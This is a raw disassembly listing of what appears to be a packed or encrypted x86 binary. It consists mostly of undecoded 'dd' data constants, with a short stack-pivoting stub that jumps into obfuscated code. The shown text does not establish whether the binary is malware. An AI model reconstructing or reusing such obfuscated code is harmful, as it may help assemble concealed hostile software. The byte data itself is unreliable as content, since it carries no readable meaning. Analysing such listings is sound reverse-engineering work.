		dd 0E02E6301h, 2292503Ah, 0F2C1BB63h, 8E743AE5h, 0BA632292h
		dd 48F9F2C1h, 0CA334D38h, 0FA5F7CCDh, 6A16C437h, 0C44C49E7h
		dd 7, 7CA1FCBh,	119A0000h, 0CB7635B0h, 42631F05h, 0D5D23B5Bh
		dd 6723E0A6h, 84ED6322h, 0B639D7C5h, 36FDF175h,	6BEF7B39h
		dd 0F87CF8CFh, 0F1B14DD1h, 4F9DD26Ch, 66E6E9A9h, 0C68D23CAh
		dd 0C19834B8h, 6625C145h, 97001F78h, 0E5E244D9h, 0CB988127h
		dd 59B3BBE6h, 0D1F87C0Ah, 0C07FB44Ah, 0CB694F15h, 1C85BBE6h
		dd 0D85CD81Fh, 5B48EE3Ch, 8ABBE6CBh, 1DA13184h,	0AA2EAA81h
		dd 4735C00Eh, 0F00ED8B2h, 0BA0A0703h, 741FDE07h, 521D03C9h
		dd 0C831FA9Eh, 7DAC81CBh, 0ADA0027Eh, 0FE2701E7h, 7FB41DF3h
		dd 26F3AFA8h, 0E08B4A9Bh, 0FE27341Ah, 0E2DF48F3h, 2E5CEDB3h
		dd 9843FBDEh, 9E25ECD2h, 8B0C00FAh, 659A9BE9h, 4175DE68h
		dd 0B454D682h, 1E686566h, 0D8AF0727h, 0BF269Bh,	6D9A753Ah
		dd 0D01E87A4h, 89489D24h, 0D119C1C3h, 0A564CDA9h, 1AD975F9h
		dd 4B4DEB6Eh, 2C7A633Eh, 377E7B3Ch, 919B37BBh, 33E923C9h
		dd 0B78624FEh, 0FC000009h, 8501D87Ch, 138F6600h, 9D19F092h
		dd 2CA87F17h, 2F380FA5h, 7D139AB4h, 9A72AA6h, 9434B632h
		dd 21BD41BDh, 884EA54Ah, 6327CDA2h, 31B039BEh, 670186ADh
		dd 0D9E31819h, 72A1821Bh, 73B85630h, 40000009h,	0C9451CC0h
		dd 57D3AA44h, 0E15D34D6h, 70ECC35Bh, 737C53E9h,	0C157DE70h
		dd 4DEB6EEAh, 0D878FA76h, 65018501h, 0CC92E98Eh, 6327CDE6h
		dd 31EC75FAh, 0A65211ADh, 35368424h, 67EE7A38h,	0A101FAD1h
		dd 9CCF4978h, 0DBC2142Dh, 773DFC31h, 6322ABE6h,	0EBC5F962h
		dd 24E002C6h, 41EFC7B5h, 37C64EC7h, 40CCB278h, 77E021A0h
		dd 4E972A7Ah, 0B238E48Fh, 206E0C8Fh, 9B9CEA1Fh,	558F549Eh
		dd 0F8612980h, 22C3FEAAh, 9733B763h, 9F37BD49h,	933E6D6Ah
		dd 0C8C565E7h, 0E3AD7C7Eh, 0E09F0824h, 0BB47B034h, 0AB29F3BBh
		dd 0C33E154Ah, 0A66C9417h, 21A073C0h, 0F03E73DCh, 0EAC2FEFh
		dd 0C15DE111h, 0FF9383B7h, 40DEB8B4h, 8AAh, 0EE58909h
		dd 9C730D92h, 26FD9F20h, 0B58C24AAh, 451CB239h,	20A7A73Ch
		dd 0B437B38Ah, 41C33F16h, 0CA4ECAA1h, 5BB2572Eh, 27CEAF95h
		dd 0BD46CB63h, 5211AD31h, 3B891FA6h, 0F47F3D3Ah, 0F53DBD06h
		dd 817E1779h, 582FCF51h, 14AA31DDh, 2047CD17h, 645D5B43h
		dd 1BFCC281h, 35632886h, 0DD610DCCh, 6AEE6A41h,	4AF580CEh
		dd 3280189Eh, 3E715731h, 248D6328h, 0DA70F727h,	4EEC6F1Bh
		dd 1A089351h, 1B554295h, 0DB6020D7h, 92144441h,	31BCA268h
		dd 67D06328h, 4C182832h, 552F7544h, 809B7h, 862AAA00h
		dd 14AE33AFh, 9E40C13Dh, 2DC54BC7h, 0BD53DA56h,	4806DDE6h
		dd 0D8542BC1h, 64E0B755h, 0EF6B42E2h, 53F8CF6Bh, 0CF5036FCh
		dd 0E76C6327h, 11AD315Eh, 8DB337C3h, 0E7C15DE1h, 5B426301h
		dd 6F7E3735h, 1F398804h, 4C3381B6h, 8F13A3F2h, 0F5A11CF3h
		dd 84D5D274h, 0C3D73957h, 4B7C5h, 0B011CC00h, 0CFB07635h
		dd 346327C8h, 68650788h, 0BB675DEh, 0C9B49A60h,	9B226327h
		dd 9CB6B705h, 82063633h, 54730FE6h, 0A7ECDA99h,	3C45FF63h
		dd 0B9EC4C4Eh, 36DD51CAh, 3AD57B39h, 0A5DC9410h, 0ACA9D8ABh
		dd 0EABD5E3Fh, 40h, 37B611F1h, 62CCB278h, 77E05B42h, 0E98B0CB8h
		dd 0DF9D9A9Bh, 8923A854h, 0F33D3A3Bh, 7BA9C54Dh, 3E6F3630h
		dd 0E3B07019h, 0FA52CD8h, 3BC3C0C1h, 0Ch, 1B01F42h, 0F09C0000h
		dd 0A1D2CF6Dh, 0E937B611h, 0AECFA843h, 0B6FDF7D4h, 0BB7AD207h
		dd 1848BAh, 114F0000h, 43E937B6h, 0D4AECF89h, 0DA8BDAD4h
		dd 0BABB7EFDh, 531Bh, 0B6112200h, 0CCB27837h, 0E05B4262h
		dd 82D3B177h, 0F566CDFh, 0D751795Eh, 369FC3h, 11A60000h
		dd 0B27837B6h, 5B4262CEh, 3C679E2h, 0EC3AD057h,	5F41EEEBh
		dd 69B751D6h, 6FBD59DDh, 888DD8DEh, 0C3F2C1BFh,	0C3D71296h
		dd 704h, 2B1F0B00h, 9A000001h, 0F61Fh, 86329A00h, 18196701h
		dd 0F1FCCB1Bh, 0A66EFDA3h, 9629B092h, 83A72BA8h, 0C382D071h
		dd 92B217FDh, 0CDCA33B0h, 183D6C37h, 7E96875Dh,	9Ah, 37B61185h
		dd 9C21CD78h, 0D5BB0502h, 0E95B4262h, 634A30F6h, 0FD665B42h
		dd 0CE1CBA3Dh, 0A44A98CDh, 7B6290DAh, 2BB80B05h, 0F5DFD7Fh
		dd 9BC0110Eh, 1E3F73Bh,	53h, 37B61108h,	62CCB278h, 0EDE05B42h
		dd 42634127h, 0BFF45D5Bh, 35CF5400h, 6127E6E7h,	5B42637Bh
		dd 6B29268Fh, 628FFBC5h, 0E89326C8h, 62903C22h,	8927AAC8h
		dd 0B7203A3Bh, 205124BAh, 0AEF73F3Bh, 1D61h
		dd 0F9BF6A00h, 0C8629813h, 7BFEBE27h, 32AFE0DDh, 0D5B6D144h
		dd 0EFEC5CE7h, 5DADh, 0AD312800h, 341DC311h, 0AA5B4263h
		dd 0B33F8D23h, 5D449230h, 0EBADB003h, 800492E1h, 63AE945Ah
		dd 0CFC25B42h, 42632309h, 99CE375Bh, 11108D64h,	0CD7837B6h
		dd 42632107h, 0D7D43D5Bh, 0C445F1B4h, 0E3782522h, 0CAF2C1BFh
		dd 5B42701Eh, 1FE0F6D7h, 0E338C3D7h, 3FFFFFFEh,	2831Fh
		dd 0AD319A00h, 62DBC187h, 86EF5B42h, 0F3770351h, 59058057h
		dd 0E7E836D8h, 0BE279AEAh, 6A0039FFh, 8FC6322h,	0A127E785h
		dd 6A15D409h, 1F8FA77Ch, 5C36EA9Dh, 63231576h, 6624218Ah
		dd 81AE2FDBh, 151664FAh, 0AF99E3E0h, 25632315h,	29B503A3h
		dd 31BD0BA3h, 0C5C614AAh, 0A6ABFA00h, 592E1DBh,	0E937D759h
		dd 0BD9AEBE8h, 0DBC437A0h, 31h,	35B011E2h, 648BB076h, 3CA56322h
		dd 0F2B863EEh, 6322640Ch, 1C7DEA20h, 0A433CFBDh, 3E28726Fh
		dd 0A96322FAh, 0A0B5E4AFh, 0F6C43781h, 9Dh, 11AD31FDh
		dd 0FBE1A752h, 0F5B4262h, 5FEBA9A6h, 68F442D8h,	9B8948E4h
		dd 9EDA781Eh, 0EAA8A55Dh, 6871DA5Eh, 8196C0D5h,	0E230D052h
		dd 0A077ACE1h, 428CEF0Ah, 0BB57DB5Bh, 6C7948E4h, 3DCCE7ADh
		dd 13BF6325h, 0A5A6F48Eh, 79C75FE5h, 88F17B78h,	961DC9h
		dd 9026AD29h, 431AAC86h, 23C19B75h, 472h, 461DC141h, 0D4AB45CAh
		dd 5E35D758h, 0EDC45CE2h, 7D54EA71h, 58DF6F74h,	0EC6FEBC2h
		dd 79FB774Eh, 28602D9h,	93EA8F66h, 27D2E7CDh, 0F57E0363h
		dd 3D14AA31h, 0CAA13DC1h, 11AD314Dh, 17B337C3h,	3D1DA440h
		dd 0D75A1ABCh, 7F450439h, 63228EAAh, 38CE5501h,	3CBDB13Bh
		dd 3DC04C9Ah, 0E5AB6A9Fh, 63228DFFh, 2F7DB21Bh,	228EA189h
		dd 0F7931763h, 0FC9A1DA9h, 814E0AEh, 0D96A9A52h, 0E1642FF5h
		dd 69196CC6h, 22CE8D58h, 0D302FFA1h, 2C4380Dh, 7D03AF6Bh
		dd 6A5EE8E5h, 6FFA48E8h, 427FC3A9h, 396ED75Bh, 30912D04h
		dd 4F30F6B5h, 596327E6h, 988631F0h, 0F2FD6CC1h,	472D0787h
		dd 6363278Eh, 8DC4AA70h, 6FD86327h, 0CFB57B3Ah,	0EB63278Dh
		dd 0AA568582h, 1CC88729h, 0ABACFA9Ah, 0F1D167AEh, 5763278Dh
		dd 0D05E35D5h, 44h, 632D174Bh, 43835B42h, 0D859D5ACh, 5C42E836h
		dd 0A65B4263h, 840595E0h, 0D8F0BE2h, 7E02AE6Dh,	969394E2h
		dd 634932D8h, 7F525B42h, 0A02750D3h, 8687D50Ah,	631B01C7h
		dd 0C62F5B42h, 526033C9h, 0DC5930D0h, 384AF31h,	52DE2C61h
		dd 0C67130D0h, 42631A00h, 0BF174E5Bh, 899F38Fh,	0CA8885EEh
		dd 0BF44F0E3h, 0D9D6D725h, 0E0627043h, 51D58140h, 667F652Bh
		dd 329B5B42h, 1EB83DFDh, 5644DA21h, 1F5B4279h, 9232B460h
		dd 3164495h, 6E86C3D7h,	8DFFFFFFh, 5211AD31h, 33D9F364h
		dd 706DF048h, 6A226B2h,	0B72E932Fh, 1EA14DF8h, 398380h
		dd 0FC632316h, 0B59F4593h, 2B63230Dh, 33BF0DA5h, 0FDC513AFh
		dd 4E191C67h, 0F2880FBBh, 0F79518A4h, 7673A8A9h, 0F7E495E0h
		dd 7EC437B8h, 15270DD3h, 189D6323h, 0FEFB647Eh,	3876h
		dd 87327D00h, 4262DBC1h, 8986EF5Bh, 9E5D8839h, 82D070F2h
		dd 0AA558481h, 8FDD7BFEh, 2247918Eh, 3E632265h,	0F7E187D5h
		dd 62632263h, 6F6C1D68h, 0ADC43717h, 0D4h, 11AD31B4h, 0C78D38C3h
		dd 5B4262E1h, 1F39D157h, 289B9B6h, 0E7931E6Ch, 7B7CCA60h
		dd 6310F6BCh, 0C32C5B42h, 0EC1296C6h, 42634026h, 0BEF35C5Bh
		dd 0A88E54FFh, 0DC5B4263h, 3A2068E6h, 0BE274164h, 0F37703C1h
		dd 0CFEA8057h, 0BB5B42BFh, 0FBB3CE37h, 6C4527FBh, 60E46037h
		dd 0F7CA76C4h, 18692FEEh, 8F6322FEh, 78C65CE3h,	87F07A77h
		dd 0ADAD14B0h, 9A598E28h, 573B3D4h, 44C9BD6Bh, 595B5CAAh
		dd 0B63C1BFCh, 0C988BD57h, 2900961Dh, 869026ADh, 72A34796h
		dd 0C72DCBA5h, 0EC000001h, 75F1C86Ch, 37F56F0h,	8D09E082h
		dd 1C986F07h, 1F28FF95h, 6D038AC4h, 0F9971A96h,	8424A622h
		dd 11AD31ADh, 783E953Ah, 6327D592h, 31A029AEh, 0C13D14AAh
		dd 4DCAA13Dh, 7635B011h, 22648BB0h, 0EE3CA563h,	22645E48h
		dd 84CFC963h, 371780D5h, 0EC16C4h, 311D0000h, 37C311ADh
		dd 26CC1AB0h, 5B42680Bh, 4FD4FB7Fh, 2DA980B5h, 0D7BD83A9h
		dd 0F35B4266h, 920E1ABDh, 3A6FC108h, 2044A638h,	0D409EF72h
		dd 0CE4FFB86h, 35F6DCA2h, 0A10A5B43h, 201D1E6Ch, 35F4F1D0h
		dd 71BE9C8Ah, 0ABDF60F8h, 4C1364AEh, 94FD6323h,	139642BDh
		dd 493F25EBh, 0F25B6323h, 716E6FBDh, 8645A021h,	60240C0h
		dd 20DF486Bh, 0C1C9AF75h, 7CE55B44h, 5324D37Ah,	0EEEB688Ah
		dd 0E76814BFh, 0F9F6F745h, 0D5AC42C9h, 2BB1D259h, 0D6545E93h
		dd 0E572A3BEh, 0D46D0Bh, 5FDF0000h, 0E368E4BBh,	75F67249h
		dd 0FA80FCD3h, 880F8B62h, 0D1121BF2h, 8960F67Dh, 15EC8A0Dh
		dd 0A0771799h, 2D04A024h, 856B3188h, 996327D6h,	86328B14h
		dd 3B6B6800h, 715F1EB4h, 12E31BEh, 72B9B6DBh, 0FFD672F6h
		dd 0C1DA9684h, 0C4FE714h, 8732DE0Fh, 4262DBC1h,	8986EF5Bh
		dd 0EB39D559h, 31B4DB5Fh, 84444593h, 593065FFh,	22E104BDh
		dd 27C9775Ch, 0D2208963h, 149BC246h, 0DE8A497Eh, 7DC4C157h
		dd 35D35602h, 0E8840838h, 0E2630F9Ah, 469432B5h, 0C9131045h
		dd 0BDC4CE42h, 0CFDFA63Ch, 5CD8AF4Bh, 62EE3CD8h, 0E99F77DCh
		dd 36AE945Ah, 59C2B8BBh, 81317C57h, 884EFE4Ch, 94C0AE3Dh
		dd 694312CEh, 0FF83B3B0h, 8C108C63h, 304A2F0h, 7F000000h
		dd 0B131B502h, 0AF33BF0Dh, 0B739C513h, 0BA3DC917h, 0BB42CE1Ch
		dd 0C44BD725h, 0CE54E02Eh, 0DB5CE836h, 0DA5FEB39h, 5263F240h
		dd 0C281E289h, 4, 4B850h, 0C2290000h, 24148758h, 0E389535Ch
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 68243C89h,	73Fh, 56240489h
		dd 36534CBEh, 13AABF31h, 0F701D6AFh, 8124348Bh,	4C4h, 4EC8300h
		dd 83242489h, 58042404h, 24048157h, 3AB454CDh, 5308408Fh
		dd 0B454CDBBh, 858293Ah, 24048B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_560FFB
; ---------------------------------------------------------------------------
		dw 0EA54h
		dd 0E1AE2A24h, 913C1EC7h, 0E574A7B8h, 0FFC50307h, 0C13DEAE0h
		dd 946DDA13h, 7B179051h, 282CC516h, 8B86EE7Ch, 25E2A166h
		dd 39E29E75h, 0B0E902h,	66600000h, 0C2F6DA8Ch, 0C850F04h
		dd 3B000000h, 0E02F0185h, 36840F07h, 3B000000h,	0E0308585h
		dd 2A840F07h, 3B000000h, 0E01B7185h, 1E840F07h,	3B000000h
		dd 0E0181D85h, 12840F07h, 83000000h, 0E031F9BDh, 840F0107h
		dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h,	85784A8Bh, 49840FC9h
		dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch
		dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh
		dd 0Fh,	4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0E04EE89Dh
		dd 5B807h, 0E3FF0000h, 0D00BC361h, 1FB19D8Dh, 2AB807E0h
		dd 89000000h, 0E0236185h, 0E807h, 5580000h, 0Dh, 2AE90389h
		dd 0
		dd 9 dup(77E600h), 0FF77E600h, 698D8DFFh, 6A07E577h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 5799C357h, 60F78052h, 559D8Bh, 0F6007E0h, 0DE81DEB7h
		dd 43993E43h, 8D896161h, 7E01815h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0D6C35343h,	663391D3h, 0C76C02BAh
		dd 0E0204985h, 665C07h,	10DE8100h, 0E943F1ABh, 9, 75CBBF19h
		dd 0BE464968h, 0C585C7AFh, 7E022h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0B149C353h, 355203Dh, 0CD8277EEh, 5BA5B8B8h,	0A1B5FF1Bh
		dd 8907E007h, 0E0231185h, 619D0307h, 0FF07E01Bh, 0E0209195h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0C889EB88h, 9335F770h, 6A07C6h, 18A995FFh
		dd 0C08B07E0h, 92831BEBh, 43CEE89Bh, 7591BDB6h,	88BF6076h
		dd 0CD90123Fh, 0C6B65A61h, 8A720C0Ch, 8E8D8D37h, 8B07E578h
		dd 0E0185D9Dh, 13E907h,	0C45D0000h, 15A1A795h, 24BA5261h
		dd 130A2F7Ah, 8FF8031Fh, 158D89C5h, 6A07E018h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 2923C351h, 0E0254DBDh, 0C7F28B07h, 0E0204985h, 5E8407h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0EF35AB9Bh, 441CD7A5h, 0BF0F7FB8h, 0C585C7F2h
		dd 7E022h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0AFB9C353h, 0EC74D5C0h, 8175FDC3h
		dd 0B76ED6C7h, 13E95Eh,	7C9C0000h, 3A125976h, 0A2DFE6B6h
		dd 0F2378D19h, 317A2EA2h, 35B5FF5Fh, 6607E02Ah,	95FFC38Bh
		dd 7E02091h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	37C35747h, 0BF0F28BDh, 6AD88BD7h, 0A995FF00h, 8B07E018h
		dd 217EEBC0h, 4902519Bh, 46E0FE98h, 17D67957h, 972DBC61h
		dd 0DB24612Fh, 2414E392h, 0C427192Ch, 41A37C97h, 22778E1Ch
		dd 0B5E42932h, 8CD79534h, 3B86C719h, 1D4FBDBh, 46DC1F06h
		dd 0A98E76ABh, 0F55F4DD9h, 5E95A5A5h, 0CE812A59h, 71BCE59Ah
		dd 0B5DD5EF1h, 5AFEB2B3h, 0F5209Dh, 76976E21h, 0D1CA97D2h
		dd 49CECE0Dh, 14020A3Ch, 0ABE67AC5h, 99C95256h,	62DDCD54h
		dd 6B0EE677h, 5A723CD1h, 14E8D9h, 0E3860000h, 20CC7768h
		dd 1C870E0Ah, 0DD1830D4h, 518213DFh, 9531264Bh,	7E030DDh
		dd 28B0F5Eh, 0B1000000h, 0A8C681ADh, 0F00006Ch,	0FBBBCAB7h
		dd 2300001Ah, 0E0161185h, 5036FF07h, 5F5AF4B6h,	14E957h
		dd 26B40000h, 0AB32E420h, 0FC85E22h, 43EF03E4h,	88D67061h
		dd 815A369Ch, 57C056EFh, 2BB96643h, 0BEEF81B6h,	0E8600DC5h
		dd 0Fh,	361D6B6Ah, 0F61C8D0h, 59915907h, 0F9B7D2Bh, 8158D3B7h
		dd 878C3FC7h, 7CB45006h, 0BD895758h, 7E012F9h, 800F068Fh
		dd 6, 1E959D01h, 0EE8307E0h, 0DBD8904h,	8107E024h, 1EBh
		dd 82850F00h, 0E9FFFFFFh, 6, 0B8EB4987h, 60EB414Ch, 18h	dup(0)
		dd 0B51E9h, 0B45E900h, 5680000h, 0E907E582h, 0FFFB068Fh
		dd 0E5832E68h, 685E907h, 0BC68FFFBh, 0E907E583h, 0FFFB067Bh
		dd 0CFE9A38Bh, 445E16FDh, 0BBD58D72h, 2E4800E9h, 0A6C07A5Ch
		dd 0D1B36851h, 472BFD17h, 0BEA1738Dh, 341AEC06h, 9580607Ah
		dd 0D5273F72h, 0EEC53721h, 73783214h, 2B54767Ch, 25888D47h
		dd 0A9AF694Bh, 54674B71h, 2511FD7Fh, 0D9F39E65h, 62672107h
		dd 0B2C98164h, 0D3615073h, 0CA1D29B9h, 957977C4h, 8C37EFD4h
		dd 0EDA78987h, 0C2AB85E8h, 80E050Ah, 6D722C0Eh,	2C88DE0Ah
		dd 0C6714AA2h, 787E29E1h, 0D8DD957Eh, 263DF5DAh, 0B98887FAh
		dd 553A4276h, 9FECF29Dh, 0EB02BAA1h, 6B2889ACh,	0FB4E29BAh
		dd 0A8AE6649h, 1E1D035Bh, 269CC807h, 7650586Ch,	0F609A8CBh
		dd 227529B9h, 0BB2E7177h, 332E5F2Ch, 8EFC9E0h, 50A3650h
		dd 0CF1C95B8h, 0F6221D4h, 0EB0E4D64h, 21D4CEC6h, 0CAF004B0h
		dd 57A834EEh, 2447A6ACh, 21D58091h, 0FDB79BF5h,	0BDFC3B52h
		dd 0D581179Ah, 110C5F21h, 21D580A0h, 307D83D6h,	7B924C32h
		dd 8C41F24Fh, 23292CDEh, 452BC7C1h, 0ECC6B18Bh,	534A4F07h
		dd 0C39D004Dh, 0FA1C22DAh, 14EE4DD1h, 0ECC6C9C3h, 12354C06h
		dd 29BAA09Fh, 787E84D7h, 5734DE5Ah, 1C75h, 4DD1BF00h, 0A3C614EEh
		dd 29BAA10Eh, 0C63B1568h, 8C442BC4h, 0FBA2E8B2h, 16h, 0EE4DD191h
		dd 0EA3C614h, 7329BAA1h, 0C4C6320Ch, 0B28C442Bh, 4FD1A2E8h
		dd 1AFFD9F0h, 0DAFD5C62h, 2E5AA37Ch, 3FA2A7FAh,	0BEC47C65h
		dd 0DA9C327Bh, 55AA0B21h, 0D4EFCBF7h, 1B0E453h,	0D12E0000h
		dd 0B3D6ED4Ch, 29BAA106h, 2A282D80h, 0B6FB1E44h, 0C029BAA0h
		dd 0AEA8C26Dh, 4D6487C6h, 2929BAA1h, 2F34ECCFh,	8D878D38h
		dd 47FFE6A7h, 0B2D8C29Ch, 4D6487C6h, 2929BAA1h,	967CD0D6h
		dd 8CC3BF99h, 0FD14CEB2h, 0BAA0D7DAh, 464C9F29h, 0DEF31F24h
		dd 3C1C5734h, 66000000h, 14EE4DD1h, 0A10EA3C6h,	156829BAh
		dd 40F6D2FEh, 798D2678h, 2228E0C7h, 0AD87C600h,	0E90B11CBh
		dd 0B28C442Bh, 4D05ECC6h, 0EFC2E548h, 8729BAA0h, 46838934h
		dd 29FB00h, 0D1910000h,	0C614EE4Dh, 0BAA10EA3h,	23057329h
		dd 0BB6D6469h, 1F161BD5h, 0C4C69A74h, 0B28C442Bh, 0AA309AC6h
		dd 2620A35Ah, 0D19DE320h, 4A04E64Ch, 8CA34E45h,	0D12CCB2h
		dd 75251216h, 2E1B9947h, 0F7A6C928h, 3F29BA3Bh,	0FBABC313h
		dd 505635D1h, 76D9DE31h, 0F9FEB89Ch, 1C02FC02h,	0D3B8795Bh
		dd 741F161Bh, 0C6B5AFC9h, 0A14D6487h, 0D62929BAh, 0CAF0D6D0h
		dd 0BAA10AA7h, 76217429h, 0B6F4205Fh, 0F45478E6h, 64E1D0CBh
		dd 4A9D29BAh, 0F3F9B198h, 6487C6D1h, 29BAA14Dh,	0D9B06A4Eh
		dd 0D338086h, 14EE4DD1h, 0F31FC9C3h, 1C5734DEh,	2Bh, 3ECC666h
		dd 2DF1454Bh, 87C6340Eh, 0A08C2548h, 9FF229BAh,	0A15B5699h
		dd 0D02329BAh, 2BC4C6F6h, 0E8B28C44h, 3EFBA2h, 0D1910000h
		dd 525F824Dh, 2C29BAA1h, 3D172ED9h, 0FDB79958h,	0D3CE4E52h
		dd 2919F678h, 0ECC60123h, 50474C06h, 0E9C8EB4Ah, 5529BAA0h
		dd 0D5DB957Bh, 0C6805AC1h, 11CBAD87h, 442BE90Bh, 0A2E8B28Ch
		dd 0E7FBh, 4CD19100h, 0BD97D6EDh, 896B1DD7h, 0CDD3CACFh
		dd 0BAA12F8Ah, 462D0729h, 0E092898Eh, 494045FDh, 0CCD12443h
		dd 0AA072A69h, 0D429BAA0h, 9B817B81h, 5190C7E1h, 0BAA0832Eh
		dd 0A2A8FB29h, 6487C680h, 29BAA14Dh, 0D6D0D629h, 0D85C36F0h
		dd 7ECC6B2h, 0AB6348h, 0B478A6FAh, 526914CEh, 0EBBDC126h
		dd 50563431h, 0B28CC32Eh, 191015CDh, 0F31FF113h, 1C5734DEh
		dd 46h,	0EE4DD166h, 0EA3C614h, 2829BAA1h, 9CB36B4Eh, 0BAA13879h
		dd 0E5EB3E29h, 0CDE407C6h, 0A929BAA0h, 0C6D1AB56h, 8C442BC4h
		dd 3965E8B2h, 2B1AAD30h, 8C0A721h, 5B610C03h, 3ECC639h
		dd 494F464Bh, 2B1Fh, 4DD1B500h,	0A3C614EEh, 29BAA10Eh
		dd 0C6320C73h, 494F07ECh, 9AC6E8EAh, 2F2C5802h,	5A545ACEh
		dd 788C6273h, 0A8CBE5BEh, 0A2E823FDh, 868B452Bh, 0D3EDA588h
		dd 5C611B01h, 7C3BCDF9h, 792B2E33h, 897F3073h, 0D2429BAh
		dd 0F57566E1h, 0B9F3DFD2h, 40449729h, 0F2F82DA1h, 0F0D6207Dh
		dd 644A1C36h, 3961B3Eh,	8DE029BAh, 9567DDE2h, 5598C4A3h
		dd 0F215732Eh, 9AF76C72h, 96B06A50h, 0A082A66Ah, 2D8D058Dh
		dd 59040793h, 0E27497AEh, 642E59A6h, 666B230Ah,	0EE72D416h
		dd 15C0615Dh, 8F1E656Ah, 0AE21D9AEh, 6C9AF04Dh,	8753D418h
		dd 22h,	1FD7BA94h, 0FB1D231Ah, 868B452Bh, 0BAA1723Fh, 0B70C3929h
		dd 0ABC57F65h, 2FF04874h, 7619635Eh, 452B4E70h,	7348748Bh
		dd 0F58BDD79h, 3879F8FCh, 6DBC7A57h, 5EC21A67h,	0D6A7CAE1h
		dd 602E5EE6h, 33B51DB4h, 1CC78DD0h, 0ED4AD602h,	20A3B3D6h
		dd 0A6E52675h, 0B51B2E83h, 0BEE4829h, 0AC574E53h, 2F3487A6h
		dd 0B51AC5E8h, 0BA177829h, 316C2664h, 355154h, 0C69B0000h
		dd 464B03ECh, 28F5494Fh, 3B20FA11h, 9C807E83h, 0D23137E2h
		dd 0BAA0F2AFh, 6E522C29h, 3C8FAEB4h, 0A7664B25h, 611902C3h
		dd 0FBA655Ch, 2AF3F5h, 0D1890000h, 0FCD6ED4Ch, 61585D15h
		dd 0E3BDFC5Bh, 0FE414701h, 29BAA09Fh, 1CD4BD97h, 0FB1A2017h
		dd 785291A8h, 0D8D2D892h, 27213BF3h, 149FBh, 4BD19100h
		dd 66A9D5ECh, 0C887D8C6h, 0D8F2141Ah, 4887C6B2h, 0BAA08C25h
		dd 0A49FF229h, 29BAA10Dh, 0A0AB0629h, 80D329BAh, 565056A9h
		dd 0C3DCB670h, 0DEF31FC9h, 2C1C5734h, 66000000h, 12EC4BD1h
		dd 0A10EA3C6h, 0A96829BAh, 0BAA12B86h, 71945329h, 29BAA140h
		dd 8D38E336h, 2BC4C6B3h, 0E8B48E46h, 1DFBA2h, 0D1910000h
		dd 0C612EC4Bh, 0BAA10EA3h, 0F50C7329h, 757A321Bh, 0C656787Eh
		dd 8E462BC4h, 0C6A2E8B4h, 464B03ECh, 694F494Fh,	2205C6A8h
		dd 0C36E656Ah, 0B2D83E18h, 8954DD1h, 898A4229h,	714B620Dh
		dd 0ACCED48Ch, 0F31FC9C3h, 415734DEh, 0FCDBF215h, 42487FC1h
		dd 2CBEh, 4DD10800h, 9AC614EEh,	0A12CF002h, 83E2E87Ah
		dd 0B9E35160h, 29812D29h, 0E8AA1160h, 0C6A8822Dh, 8C442BC4h
		dd 0FBA2E8B2h, 47h, 779AC691h, 0E5A9A9F3h, 9C5638EAh, 469AA097h
		dd 6A445BD8h, 0CEC5CA84h, 4C1D94B7h, 65929BAh, 87C6DE00h
		dd 12677C5Bh, 82B6E0Ch,	29B9EEA9h, 25D782D5h, 3B7E843Ch
		dd 29B9EE76h, 0C6CAA40Bh, 8C442BC4h, 2BA2E8B2h,	448B9048h
		dd 29BAA16Ah, 0FB1E5DFCh, 29BAA0B6h, 0F2676DC0h, 0B0684B9Dh
		dd 482B9C96h, 2E4D7990h, 1D7658BBh, 1AD2B769h, 0CB181E15h
		dd 2D32EACDh, 426692C5h, 52C3ECB9h, 76CB4046h, 6F894124h
		dd 0B9E81A54h, 9FCA8829h, 0DD54342Fh, 5E631D03h, 0BFC47E60h
		dd 0E3061DC8h, 29B9CFCEh, 0CB4F55A8h, 0FFFFFE6Eh, 621CFED8h
		dd 3E60665Dh, 4D6487C6h, 2929BAA1h, 208DD0D6h, 1629BAA1h
		dd 0CBA5E1EAh, 0B5BB5BCCh, 0BA95BB72h, 193C7B29h, 29BA9498h
		dd 95367B9Eh, 0ED4029BAh, 7ABDC316h, 29BA9536h,	0BA948D20h
		dd 0EDCFA929h, 0C3EA2D33h, 7329BA94h, 0F3F8B099h, 0AD654AFCh
		dd 954964A7h, 28F8E9BAh, 0F1D1F40Bh, 676E5852h,	69B70F14h
		dd 0B0E99E71h, 47F293AFh, 23690D30h, 459F6678h,	0A9A0A55Fh
		dd 0C6D25FEh, 210AA634h, 2E8F3h, 8E483000h, 3BBA274h, 7A3217E9h
		dd 0EDA58E60h, 651F01D3h, 58CDF64Bh, 0D0A2BC76h, 461832ECh
		dd 0BF91AB63h, 25051FD9h, 1E9A173Ah, 72E421D5h,	0AD87C6D8h
		dd 9D140FC9h, 0D929BAA0h, 0A0868086h, 8789E1E6h, 2B6E91A8h
		dd 232E5FDBh, 129BB6D0h, 2F21D527h, 82B42E1h, 267A5DDDh
		dd 0D5AFC619h, 0BEFC9EFh, 9E5B5651h, 0D02329BAh, 0D47F371Eh
		dd 4802E8BAh, 0B66E5731h, 991C63B0h, 0A829BA9Dh, 65A4BB78h
		dd 9DAE0326h, 75C829BAh, 0D7552C6Fh, 8EE12E5Fh,	0FDB79D77h
